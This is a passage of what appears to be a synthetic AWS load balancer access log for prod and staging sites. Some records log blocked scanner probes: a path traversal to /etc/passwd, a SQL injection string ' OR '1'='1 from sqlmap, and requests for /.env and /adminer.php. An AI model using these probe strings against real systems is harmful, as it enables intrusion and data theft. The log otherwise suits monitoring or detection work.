(KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723b8c4-5fbfa474816f4c2ab2199c97" "prod-web-alb.example.com" "-" 8 2024-11-01T00:05:08.695833Z "forward" "-" "-" "10.0.156.245:443" "301" "-" "-" +https 2024-11-01T00:05:09.787661Z prod-api-alb 190.111.149.84:42720 10.0.129.50:443 0.016865 0.302981 0.075513 200 200 212 12215 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723b8c5-4c45f10d2d0349ef8f8b20c5" "prod-api-alb.example.com" "-" 10 2024-11-01T00:05:09.787661Z "forward" "-" "-" "10.0.129.50:443" "200" "-" "-" +https 2024-11-01T00:05:11.266993Z staging-alb 141.143.204.124:30603 221.114.75.180:443 0.114442 0.241062 0.129263 302 302 163 11146 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723b8c7-be56d047d273403fbf981bfd" "staging-alb.example.com" "-" 0 2024-11-01T00:05:11.266993Z "forward" "-" "-" "221.114.75.180:443" "302" "-" "-" +https 2024-11-01T00:05:12.141035Z staging-alb 187.45.115.146:22408 156.93.61.181:443 0.077720 0.468505 0.072899 302 302 800 4115 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723b8c8-24c916bd048140d68ff70ed4" "staging-alb.example.com" "-" 7 2024-11-01T00:05:12.141035Z "forward" "-" "-" "156.93.61.181:443" "302" "-" "-" +http 2024-11-01T00:05:12.593591Z staging-alb 196.144.15.79:56999 229.148.160.149:80 0.095366 0.156283 0.079280 200 200 646 10701 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723b8c8-c6b0d794c67c4d50929b5837" "staging-alb.example.com" "-" 3 2024-11-01T00:05:12.593591Z "forward" "-" "-" "229.148.160.149:80" "200" "-" "-" +https 2024-11-01T00:05:13.336943Z prod-api-alb 154.40.109.154:34198 10.0.196.65:443 0.064834 0.453961 0.076357 200 200 787 5759 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723b8c9-00fe892d12fb4dbe9d40a2e1" "prod-api-alb.example.com" "-" 6 2024-11-01T00:05:13.336943Z "forward" "-" "-" "10.0.196.65:443" "200" "-" "-" +https 2024-11-01T00:05:14.417695Z prod-web-alb 162.220.198.169:54775 10.0.82.193:443 0.001083 0.116520 0.054295 200 200 233 14929 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723b8ca-61c448388fcb4f80bf87d121" "prod-web-alb.example.com" "-" 8 2024-11-01T00:05:14.417695Z "forward" "-" "-" "10.0.82.193:443" "200" "-" "-" +http 2024-11-01T00:05:16.372430Z staging-alb 202.126.204.47:40211 141.156.78.238:8080 0.087371 0.382996 0.114068 302 302 427 7828 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723b8cc-b16de9bbafa04038a66789d3" "staging-alb.example.com" "-" 10 2024-11-01T00:05:16.372430Z "forward" "-" "-" "141.156.78.238:8080" "302" "-" "-" +https 2024-11-01T00:05:18.275666Z prod-web-alb 46.85.47.115:19458 10.0.222.117:443 0.075948 0.476742 0.087739 200 200 281 11160 "GET /assets/main.css HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723b8ce-d6716084da7e40e0b933ef8f" "prod-web-alb.example.com" "-" 2 2024-11-01T00:05:18.275666Z "forward" "-" "-" "10.0.222.117:443" "200" "-" "-" +http 2024-11-01T00:05:19.949806Z staging-alb 9.166.189.160:23521 213.109.206.159:8080 0.059289 0.028158 0.039404 200 200 722 10703 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723b8cf-d37d68da695a47ae8f62d55b" "staging-alb.example.com" "-" 0 2024-11-01T00:05:19.949806Z "forward" "-" "-" "213.109.206.159:8080" "200" "-" "-" +https 2024-11-01T00:05:21.489798Z prod-api-alb 91.112.22.62:63784 10.0.23.84:443 0.004292 0.339641 0.039959 302 302 349 678 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723b8d1-be659551d3c84df59c9f7644" "prod-api-alb.example.com" "-" 6 2024-11-01T00:05:21.489798Z "forward" "-" "-" "10.0.23.84:443" "302" "-" "-" +http 2024-11-01T00:05:23.412289Z staging-alb 66.176.154.138:48057 211.171.135.161:80 0.029833 0.404940 0.070082 200 200 778 7697 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723b8d3-886dd87b56724947b7eb5844" "staging-alb.example.com" "-" 1 2024-11-01T00:05:23.412289Z "forward" "-" "-" "211.171.135.161:80" "200" "-" "-" +https 2024-11-01T00:05:25.337590Z prod-api-alb 221.64.23.104:48665 10.0.45.105:443 0.038104 0.480383 0.065774 200 200 469 242 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723b8d5-1409c4c7b64340a594655658" "prod-api-alb.example.com" "-" 10 2024-11-01T00:05:25.337590Z "forward" "-" "-" "10.0.45.105:443" "200" "-" "-" +https 2024-11-01T00:05:27.133161Z staging-alb 216.133.67.22:57315 141.241.251.44:443 0.007624 0.501721 0.116526 302 302 514 9842 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723b8d7-dd953c91a1c448e7987abab0" "staging-alb.example.com" "-" 10 2024-11-01T00:05:27.133161Z "forward" "-" "-" "141.241.251.44:443" "302" "-" "-" +https 2024-11-01T00:05:27.645127Z prod-api-alb 62.240.221.197:52284 10.0.16.137:443 0.074391 0.152748 0.094842 404 404 752 6232 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723b8d7-cc322399615745d690d81369" "prod-api-alb.example.com" "-" 6 2024-11-01T00:05:27.645127Z "forward" "-" "-" "10.0.16.137:443" "404" "-" "-" +https 2024-11-01T00:05:29.381257Z staging-alb 64.238.196.179:29029 242.61.76.154:8080 0.024832 0.351111 0.018350 404 404 997 12248 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723b8d9-09cc19b8b1534d1cacf78aa9" "staging-alb.example.com" "-" 10 2024-11-01T00:05:29.381257Z "forward" "-" "-" "242.61.76.154:8080" "404" "-" "-" +https 2024-11-01T00:05:30.473936Z prod-web-alb 243.78.92.74:60663 10.0.106.75:443 0.037540 0.353808 0.048560 301 301 767 11927 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723b8da-fa7aa0c349b342a998203650" "prod-web-alb.example.com" "-" 7 2024-11-01T00:05:30.473936Z "forward" "-" "-" "10.0.106.75:443" "301" "-" "-" +https 2024-11-01T00:05:31.511859Z prod-web-alb 46.246.10.63:49457 10.0.92.7:443 0.040601 0.117900 0.089065 302 302 866 6234 "GET /products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723b8db-5f1735e612d94859a7d4747a" "prod-web-alb.example.com" "-" 4 2024-11-01T00:05:31.511859Z "forward" "-" "-" "10.0.92.7:443" "302" "-" "-" +https 2024-11-01T00:05:33.356078Z prod-api-alb 1.237.138.219:29376 10.0.199.92:443 0.050441 0.041473 0.068905 200 200 798 6314 "GET /api/v1/orders HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723b8dd-6171e33a65e94bba84a123f8" "prod-api-alb.example.com" "-" 0 2024-11-01T00:05:33.356078Z "forward" "-" "-" "10.0.199.92:443" "200" "-" "-" +https 2024-11-01T00:05:33.951345Z prod-web-alb 11.45.181.210:21223 10.0.11.18:443 0.093901 0.140911 0.043782 200 200 717 12951 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723b8dd-01300003f01748a7a59cf7e8" "prod-web-alb.example.com" "-" 9 2024-11-01T00:05:33.951345Z "forward" "-" "-" "10.0.11.18:443" "200" "-" "-" +http 2024-11-01T00:05:34.705663Z staging-alb 185.181.2.252:47731 75.242.89.191:8080 0.131306 0.245130 0.021500 403 403 136 8672 "POST /.env HTTP/1.1" "subfinder/v2.5.5" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723b8de-639ed7e5d8bf442dbb5a3df7" "-" "-" 3 2024-11-01T00:05:34.705663Z "forward" "-" "-" "75.242.89.191:8080" "403" "-" "-" +https 2024-11-01T00:05:35.033048Z prod-web-alb 247.94.43.99:12164 10.0.69.90:443 0.028829 0.035781 0.040450 301 301 620 12272 "GET /products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723b8df-a8fe234eeb794449991d72ab" "prod-web-alb.example.com" "-" 4 2024-11-01T00:05:35.033048Z "forward" "-" "-" "10.0.69.90:443" "301" "-" "-" +https 2024-11-01T00:05:35.639143Z prod-web-alb 11.177.84.101:57097 10.0.12.97:443 0.073798 0.061784 0.043063 301 301 105 1631 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723b8df-8357170f98b34be8a1987b61" "prod-web-alb.example.com" "-" 0 2024-11-01T00:05:35.639143Z "forward" "-" "-" "10.0.12.97:443" "301" "-" "-" +http 2024-11-01T00:05:37.379298Z staging-alb 99.175.95.213:11645 26.15.45.39:80 0.010684 0.295634 0.032351 200 200 152 554 "GET /web/test HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723b8e1-04b567c1f373452894e03bed" "staging-alb.example.com" "-" 9 2024-11-01T00:05:37.379298Z "forward" "-" "-" "26.15.45.39:80" "200" "-" "-" +http 2024-11-01T00:05:38.347287Z staging-alb 45.155.205.142:17115 131.187.63.207:80 0.101666 0.331085 0.074940 403 403 514 10564 "GET /../../../etc/passwd HTTP/1.1" "nikto/2.1.6" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723b8e2-3f2fb4c1fee84adb827fe07a" "-" "-" 8 2024-11-01T00:05:38.347287Z "forward" "-" "-" "131.187.63.207:80" "403" "-" "-" +https 2024-11-01T00:05:40.268219Z prod-api-alb 138.239.161.21:45602 10.0.41.237:443 0.009690 0.255356 0.087154 404 404 882 2098 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723b8e4-6b141dbdc5854a828159ccbe" "prod-api-alb.example.com" "-" 6 2024-11-01T00:05:40.268219Z "forward" "-" "-" "10.0.41.237:443" "404" "-" "-" +https 2024-11-01T00:05:42.161713Z prod-api-alb 24.225.56.53:21760 10.0.150.13:443 0.027660 0.137141 0.031315 301 301 227 14032 "GET /api/v2/users HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723b8e6-cbab735a969e4a438b4c24ef" "prod-api-alb.example.com" "-" 2 2024-11-01T00:05:42.161713Z "forward" "-" "-" "10.0.150.13:443" "301" "-" "-" +http 2024-11-01T00:05:44.055773Z staging-alb 185.181.55.98:63346 83.14.39.28:80 0.139050 0.323907 0.105287 403 403 744 6687 "POST /adminer.php HTTP/1.1" "nikto/2.1.6" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723b8e8-6b36d65a394c4d348cb2a871" "-" "-" 8 2024-11-01T00:05:44.055773Z "forward" "-" "-" "83.14.39.28:80" "403" "-" "-" +https 2024-11-01T00:05:44.644298Z staging-alb 56.121.55.217:25752 81.118.5.143:8080 0.112889 0.362337 0.062416 200 200 885 7357 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723b8e8-640b5216e06c467692968e1c" "staging-alb.example.com" "-" 9 2024-11-01T00:05:44.644298Z "forward" "-" "-" "81.118.5.143:8080" "200" "-" "-" +https 2024-11-01T00:05:46.242184Z staging-alb 126.7.167.21:58309 157.76.93.236:80 0.034895 0.100231 0.063418 301 301 74 2342 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723b8ea-b4358b4e75694f29af2dfa65" "staging-alb.example.com" "-" 3 2024-11-01T00:05:46.242184Z "forward" "-" "-" "157.76.93.236:80" "301" "-" "-" +https 2024-11-01T00:05:46.456790Z prod-api-alb 151.51.78.228:34647 10.0.193.232:443 0.024220 0.262961 0.096675 404 404 54 6878 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723b8ea-9a13798c14a44bab970afa8b" "prod-api-alb.example.com" "-" 9 2024-11-01T00:05:46.456790Z "forward" "-" "-" "10.0.193.232:443" "404" "-" "-" +https 2024-11-01T00:05:46.901240Z prod-api-alb 158.150.115.36:18643 10.0.57.111:443 0.080038 0.366826 0.044545 200 200 238 13601 "GET /api/v2/users HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723b8ea-1029947ee9d543b5a2b360b0" "prod-api-alb.example.com" "-" 6 2024-11-01T00:05:46.901240Z "forward" "-" "-" "10.0.57.111:443" "200" "-" "-" +https 2024-11-01T00:05:47.018872Z prod-web-alb 33.155.124.134:16628 10.0.119.98:443 0.013514 0.348784 0.051611 302 302 631 6357 "GET /assets/main.css HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723b8eb-69488a1dda1f4e47b77da1da" "prod-web-alb.example.com" "-" 3 2024-11-01T00:05:47.018872Z "forward" "-" "-" "10.0.119.98:443" "302" "-" "-" +http 2024-11-01T00:05:48.733389Z staging-alb 211.59.60.172:28914 187.224.45.203:80 0.006131 0.640661 0.086908 302 302 771 10978 "GET /web/test HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723b8ec-a559c174bcdd4f27ac5f9785" "staging-alb.example.com" "-" 1 2024-11-01T00:05:48.733389Z "forward" "-" "-" "187.224.45.203:80" "302" "-" "-" +http 2024-11-01T00:05:50.511277Z staging-alb 63.5.45.149:54015 0.181.115.81:443 0.124971 0.119598 0.014125 404 404 422 11673 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723b8ee-2d95b586448e4c09bc0e7ccd" "staging-alb.example.com" "-" 2 2024-11-01T00:05:50.511277Z "forward" "-" "-" "0.181.115.81:443" "404" "-" "-" +https 2024-11-01T00:05:51.726843Z staging-alb 241.40.241.15:46105 167.50.244.90:80 0.098707 0.431870 0.123076 200 200 762 7618 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723b8ef-d95a7791119745e1be000bab" "staging-alb.example.com" "-" 10 2024-11-01T00:05:51.726843Z "forward" "-" "-" "167.50.244.90:80" "200" "-" "-" +https 2024-11-01T00:05:52.329497Z prod-api-alb 0.37.38.129:23236 10.0.234.126:443 0.002291 0.189515 0.002708 200 200 174 14270 "GET /api/v1/orders HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723b8f0-2b16fdbdb8574c2bb0f3577c" "prod-api-alb.example.com" "-" 4 2024-11-01T00:05:52.329497Z "forward" "-" "-" "10.0.234.126:443" "200" "-" "-" +https 2024-11-01T00:05:53.980094Z prod-web-alb 25.96.27.66:54660 10.0.112.76:443 0.012176 0.290345 0.044457 200 200 620 1866 "GET /products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723b8f1-a059ec1d9aa9494bb120be18" "prod-web-alb.example.com" "-" 2 2024-11-01T00:05:53.980094Z "forward" "-" "-" "10.0.112.76:443" "200" "-" "-" +https 2024-11-01T00:05:55.604514Z prod-web-alb 89.250.105.242:40169 10.0.202.60:443 0.067350 0.407622 0.067085 200 200 693 3816 "GET /images/logo.png HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723b8f3-f7171170b14144148e1373a5" "prod-web-alb.example.com" "-" 10 2024-11-01T00:05:55.604514Z "forward" "-" "-" "10.0.202.60:443" "200" "-" "-" +https 2024-11-01T00:05:57.547772Z prod-api-alb 255.54.75.26:15008 10.0.196.71:443 0.067612 0.457778 0.004037 302 302 937 11715 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723b8f5-b7fe13eb620843c79187d9a3" "prod-api-alb.example.com" "-" 10 2024-11-01T00:05:57.547772Z "forward" "-" "-" "10.0.196.71:443" "302" "-" "-" +https 2024-11-01T00:05:57.977980Z prod-api-alb 73.117.213.17:13980 10.0.171.209:443 0.085284 0.204558 0.072695 200 200 689 2427 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723b8f5-bee0b7691c6a437092dfa413" "prod-api-alb.example.com" "-" 0 2024-11-01T00:05:57.977980Z "forward" "-" "-" "10.0.171.209:443" "200" "-" "-" +http 2024-11-01T00:05:58.243199Z staging-alb 153.229.138.113:53383 210.122.93.237:8080 0.066174 0.174391 0.056337 301 301 493 6919 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723b8f6-8891bb26bc3d45b8845a8eb4" "staging-alb.example.com" "-" 10 2024-11-01T00:05:58.243199Z "forward" "-" "-" "210.122.93.237:8080" "301" "-" "-" +https 2024-11-01T00:05:59.754890Z staging-alb 185.181.118.169:52711 149.212.106.112:443 0.058889 0.020528 0.100658 403 403 596 2475 "POST /api/products?category=1' OR '1'='1 HTTP/1.1" "sqlmap/1.6.12 (http://sqlmap.org)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723b8f7-e5257de871764cb093889919" "-" "-" 10 2024-11-01T00:05:59.754890Z "forward" "-" "-" "149.212.106.112:443" "403" "-" "-" +https 2024-11-01T00:06:01.146418Z prod-api-alb 231.126.129.98:41445 10.0.101.89:443 0.000819 0.425629 0.057019 200 200 388 13140 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723b8f9-4800834a743f45389d95f18b" "prod-api-alb.example.com" "-" 0 2024-11-01T00:06:01.146418Z "forward" "-" "-" "10.0.101.89:443" "200" "-" "-" +https 2024-11-01T00:06:02.003926Z prod-api-alb 138.109.47.136:52162 10.0.30.209:443 0.048458 0.043354 0.082653 301 301 799 9247 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723b8fa-72708f5bcd0b495492f7e885" "prod-api-alb.example.com" "-" 4 2024-11-01T00:06:02.003926Z "forward" "-" "-" "10.0.30.209:443" "301" "-" "-" +https 2024-11-01T00:06:02.913381Z prod-web-alb 204.85.159.243:34459 10.0.118.164:443 0.028048 0.315507 0.054578 301 301 899 1280 "GET /images/logo.png HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723b8fa-d5f4f73204104c5f800fa664" "prod-web-alb.example.com" "-" 5 2024-11-01T00:06:02.913381Z "forward" "-" "-" "10.0.118.164:443" "301" "-" "-" +https 2024-11-01T00:06:03.817526Z prod-web-alb 99.32.160.114:50431 10.0.70.207:443 0.048067 0.240695 0.029591 404 404 386 942 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723b8fb-1a4e790c64db4869903902ae" "prod-web-alb.example.com" "-" 1 2024-11-01T00:06:03.817526Z "forward" "-" "-" "10.0.70.207:443" "404" "-" "-" +https 2024-11-01T00:06:05.144178Z staging-alb 178.78.106.235:27015 180.248.78.152:80 0.017143 0.323869 0.006001 200 200 715 2270 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a 